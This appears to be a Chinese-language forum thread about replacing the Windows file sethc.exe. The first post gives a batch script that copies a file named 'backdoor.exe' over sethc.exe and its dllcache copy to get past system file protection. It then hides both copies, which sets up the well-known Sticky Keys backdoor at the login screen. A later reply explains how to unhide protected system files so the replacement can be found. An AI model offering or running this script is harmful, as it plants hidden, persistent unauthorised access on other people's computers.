outman 发表于 2014-1-25 08:06:29

系统文件不可以直接替换 ,系统文件保护这个东西你应该听说过吧,简单点, 用下面的批处理替换吧
@copy 后门.exe c:\windows\system32\sethc.exe
@copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe
@attrib c:\windows\system32\sethc.exe +h
@attrib c:\windows\system32\dllcache\sethc.exe +h

热心网友1 发表于 2026-5-21 12:10:00

Re: 跪求大神给我解说一下原因,谢谢了。

sethc.exe 是系统文件,默认在 C:\Windows\System32 目录下。你在文件夹选项里只勾选了“显示所有文件”,但可能没取消“隐藏受保护的操作系统文件”。需要把这个勾也去掉,才能看到 sethc.exe。另外,直接替换系统文件通常需要管理员权限,并且可能被系统保护阻止。建议先确认文件位置和权限再操作。
页: 1 [2]
查看完整版本: 跪求大神给我解说一下原因,谢谢了。